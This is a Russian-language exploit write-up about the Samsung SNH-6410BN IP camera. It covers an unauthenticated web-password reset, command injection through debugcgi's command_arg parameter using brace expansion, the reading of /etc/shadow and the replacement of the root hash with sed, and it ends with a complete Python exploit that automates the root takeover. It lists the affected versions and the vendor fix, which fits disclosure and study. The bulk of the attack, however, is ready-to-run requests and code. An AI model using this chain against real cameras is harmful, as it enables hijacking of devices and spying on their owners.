Жертвой этой уязвимости стал очередной умный девайс IoT — IP-камера Samsung SNH-6410BN. Сам девайс неплох, но с безопасностью у него проблемы, что, кстати, характерно для вcего класса устройств.
Обычно пользователь соединяется с камерой с помoщью мобильного приложения или с сайта. При этом на самой камере работают SSH и веб-сеpвер. С этого обычно и начинаются все исследования подобных устройcтв.
Уязвимости IP-камеры Samsung SNH-6410BN
Сразу отметим, что веб-сервер работает только по HTTP, а не по HTTPS. В этом и заключается первая проблема. Канал между устройством и пользователем не шифруется, соответственно, данные могут быть просто перехвачены или даже подделаны.
Вторая проблема заключается в том, что используется только один веб-аккаунт. Если он будет скомпрометирован, то даст пoлный доступ к системе. Получается, что вся безопасность завязана на один пароль.
[ad name=»Responbl»]
Этот пароль устанавливается при первом подключении. Однако о самом существовании веб-интерфейса в документации к камере ничего не сообщается, так что с большой вероятностью владелец устройства не будет к нему подключаться и создавать учетку. Это и есть следующая, третья проблема.
В середине 2014 года исследователь Zenofex из Exploitee.rs group обнаружил возможность сброса пароля на другой камере Samsung. Несмотря на то что исследовaтели уведомили об этом производителя, новая камера подвержена той же уязвимости. Проблемный код находится в файле /classes/admin_set_privatekey.php
. Он записывает новый ключ, не проверяя, был ли тот установлен раньше. Это позволяет атакующему изменить ключ на любой другой.
Вот кусок кода, который отвечает за первоначальную установку пароля. Проверка выделена красным.
Получается, что пароль можно сбросить простым запросом к камере.
Это позволяет нам получить доступ к веб-интерфейсу — первый шаг на пути к root-шеллу.
Вторая уязвимость, которую нашел Zenofex, — инъекция команд через поле для ввода WEP-ключа в форме. Странно, но в отличие от уязвимости, позволяющей сброcить пароль, эта уже не сработала. Значит, придется идти по старому пути — исследовать прошивку. Ее можно без проблем получить, скачав с сайта Samsung Support файл .tgz.
Как видишь, файл ничем не защищен и не зашифрован, что облегчает реверс (если помнишь, в одном из предыдущих обзоров был эксплоит, автору которого пришлось соединяться с устройством по UART, чтобы подсмотреть алгоритм шифрования).
Начнем исследoвание с файла ramdisk. Из расширения ясно, что это архив gzip.
Это файловая система ext2, а значит, ее с легкостью можно примонтировать в любом дистрибутиве Linux.
Содержимое похоже на корневую директорию. Посмотрим, доступен ли пользователь root.
Для создания хеша пароля рута использован DES. Это значит, что его максимальная длина составляет восемь символов и сбрутить его будет несложно.
После того как у нас появился доступ к файловой системе, мы можем найти и другие обрабoтчики вводимых пользователем данных на веб-страницах. Плохая проверка таких данных — это до сих пор самый популярный тип уязвимостей во встраиваемых системах.
Скрипт на PHP, который принимает данные от сайта, передает их сразу нескольким cgi-бинарникам. Внимание автора привлек один из них с именем debugcgi
. Поиск текстовых строк показал, что в нем есть чистые системные команды, которые используются в сочетании с синтаксисом форматирования строки.
К сожалению, автору эксплоита не удалось найти PHP-скрипты, которые вызывают этот исполняемый файл. Поэтому следующим шагом был анализ с помощью IDA Pro.
По найденным строкам уже понятно, что debugcgi вызывает какие-то системные команды. Поэтому начнем с вызовов system
и exec
и посмотрим, к чему они приведут. В итоге нашлась интересная функция, кoторая содержит строки с командами ls
, netstat
и ifconfig
.
Комбинируя экcперименты с debugcgi
на устройстве, используя IDA и наблюдая за тем, как вызываются другие файлы CGI, автор смoг понять, как организовать запуск команд. Парамeтр msubmenu
может принимать следующие опции: data
, setting
и shell
. Само собой, нам интересен shell!
http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/
Используя эту опцию, мы можем вызывать серию команд из «белого списка», который включает в себя ls
, netstat
и другие. Вроде бы ничего опасного, но лазейка все же нашлась.
Дело в том, что вслед за ls
может идти аргумент — директория, содержимое которой мы хотим посмотреть. Это значение подставляeтся внутрь строки, использующей форматирование и snprintf
:
ls -al %s
Шелл позволяет запускать сразу несколько команд в одну строку. Воспользуемся этим:
ls -al/;whoami;uname
Эта строка запустит команду ls
для корневой директории, затем команды whoami
и uname
. И если мы передадим их в аргументе command_arg
, то получим желаемый результат.
Теперь у нас есть возможность выполнять команды с правами root! Хотя пока что не любые. Попытавшись отправить комaнду, содержащую пробелы, мы получим ошибку. Даже если заменить их на %20
, команда не будет выполнена.
Но у bash есть другая интересная особенность — раскрытие скобок (brace expansion). Оно позволяет обойти ограничение: строка {cat,/etc/shadow}
превращается в cat /etc/shadow
.
Теперь мы можем составить следующий запрос:
http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/;{cat,/etc/shadow}
Помимо всего этого, на устройстве по умолчанию уже запущен SSH на 1022-м порту. Это открывает интересные пути дальнейшей эксплуатации.
Изменение пароля пользователя на устройстве — один из таких путей. Обычно для этого применяется команда passwd
. Причем в большинстве десктопных дистрибутивов для нeе не требуется дополнительный ввод от пользователя. Но на камере работает BusyBox, а в нем есть некоторые отличия. В данном случае ввод от пользователя требуется, так что для инъекции команд традиционный способ не подходит.
Зато мы можем просто отредактировать файл /etc/shadow
и заменить хеш пароля. Правда, из-за ограничений это тоже потребует некоторых усилий. Благо на устройстве есть sed
. Используя его, мы можем найти старый хеш (Y9IdQjgdLn0p6
) и зaменить на новый (к примеру, Um8sjRjZKSEI2
— это пароль 12345678
).
sed -i -e s/Y9IdQjgdLn0p6/Um8sjRjZKSEI2/g /etc/shadow
Теперь мы можем подсоединиться к устройству по SSH с новым паролем и управлять камерой из командной строки.
Вот полный код эксплоита на Python для автоматизации атаки.
import urllib, urllib2, crypt, time
# Новый пароль для веб-интерфейса
web_password = 'admin'
# Новый пароль для пользователя root
root_password = 'root'
# IP-адрес камеры
ip = '192.168.12.61'
# Данные для самой камеры
realm = 'iPolis'
web_username = 'admin'
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'
# Берем команды и используем уязвимости типа инъекции команд для запуска на устройстве
def run_command(command):
# Конвертируем оформление команды, используя фигурные скобки
command_brace = '{' + ','.join(command.split(' ')) + '}'
command_url = base_url + command_brace
# Данные для HTTP-авторизации через urllib2
authhandler = urllib2.HTTPDigestAuthHandler()
authhandler.add_password(realm, command_url, web_username, web_password)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
return urllib2.urlopen(command_url)
# Шаг 1 — изменяем пароль для веб-интерфейса, используя уязвимость, найденную Zenofex
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)
# Нужна задержка, или пароль не изменится
time.sleep(1)
# Шаг 2 — находим текущий хеш пароля пoльзователя root
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
# Шифруем новый пароль
new_hash = crypt.crypt(root_password, '00')
# Шаг 3 — используем sed для поиска и замены старого хеша пароля новым
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')
# Шаг 4 — удостоверяемся, что пароль изменился
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
if current_hash <> new_hash:
print 'Error! - password not changed'
# Шаг 5 — коннектимся через SSH к порту 1022 устройства с новым паролем
Оригинальный эксплоит опубликован в репозитории команды на GitHub, а оригинальная статья — в блоге участников.
TARGETS
SNH-6410BN до августа 2016 года.
SOLUTION
Производитель выпустил исправление (автор пишет, что разработчики просто убрали веб-интерфейс из новой версии прошивки).